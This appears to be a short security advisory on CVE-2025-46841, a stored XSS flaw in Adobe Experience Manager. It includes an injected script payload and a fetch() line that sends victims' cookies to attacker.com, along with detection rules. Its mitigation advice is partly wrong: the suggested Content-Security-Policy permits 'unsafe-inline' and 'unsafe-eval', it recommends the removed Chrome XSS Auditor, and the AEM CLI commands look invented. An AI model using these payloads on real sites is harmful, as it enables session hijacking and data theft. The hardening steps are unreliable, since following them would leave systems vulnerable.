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How CVE-2025-46841 Works
CVE-2025-46841 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) versions 6.5.22 and earlier. The flaw exists due to insufficient input sanitization in form fields, allowing authenticated low-privileged users to inject malicious JavaScript payloads. When administrators or other users access pages containing the compromised form data, the script executes in their browser context, potentially leading to session hijacking, unauthorized actions, or data theft. The attack persists until the malicious entry is removed.
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Platform: Adobe Experience Manager
Version: ≤ 6.5.22
Vulnerability: Stored XSS
Severity: Critical
Date: 06/13/2025
Prediction: Patch by 07/15/2025
What Undercode Say:
Exploitation:
1. Payload Injection:
<script>alert(document.cookie)</script>
Inserted into vulnerable AEM form fields (e.g., comments, user profiles).
2. Trigger Execution:
Victims load the page containing the malicious payload.
3. Exfiltrate Data:
fetch('https://attacker.com/steal?data='+btoa(document.cookie));
Protection:
1. Input Sanitization:
// AEM Filter to sanitize inputs String sanitized = ESAPI.encoder().encodeForHTML(rawInput);
2. CSP Implementation:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval';
3. Patch Verification:
aemcli --version | grep "6.5.23"
4. WAF Rules:
location / {
modsecurity_rules 'SecRule ARGS "@rx <script>" "id:1001,deny,status:403"';
}
5. Exploit Detection:
grep -r "eval(" /var/aem/instances/
6. Mitigation Workaround:
Disable risky form components until patched.
7. Log Analysis:
tail -f /var/log/aem/error.log | grep "XSS"
8. Backup Restoration:
aemtool --restore --snapshot pre_xss
9. Browser Protections:
Enable XSS Auditor in Chrome/Edge.
10. AEM Configuration Hardening:
Disable unnecessary OSGi console access.
Sources:
Reported By: nvd.nist.gov
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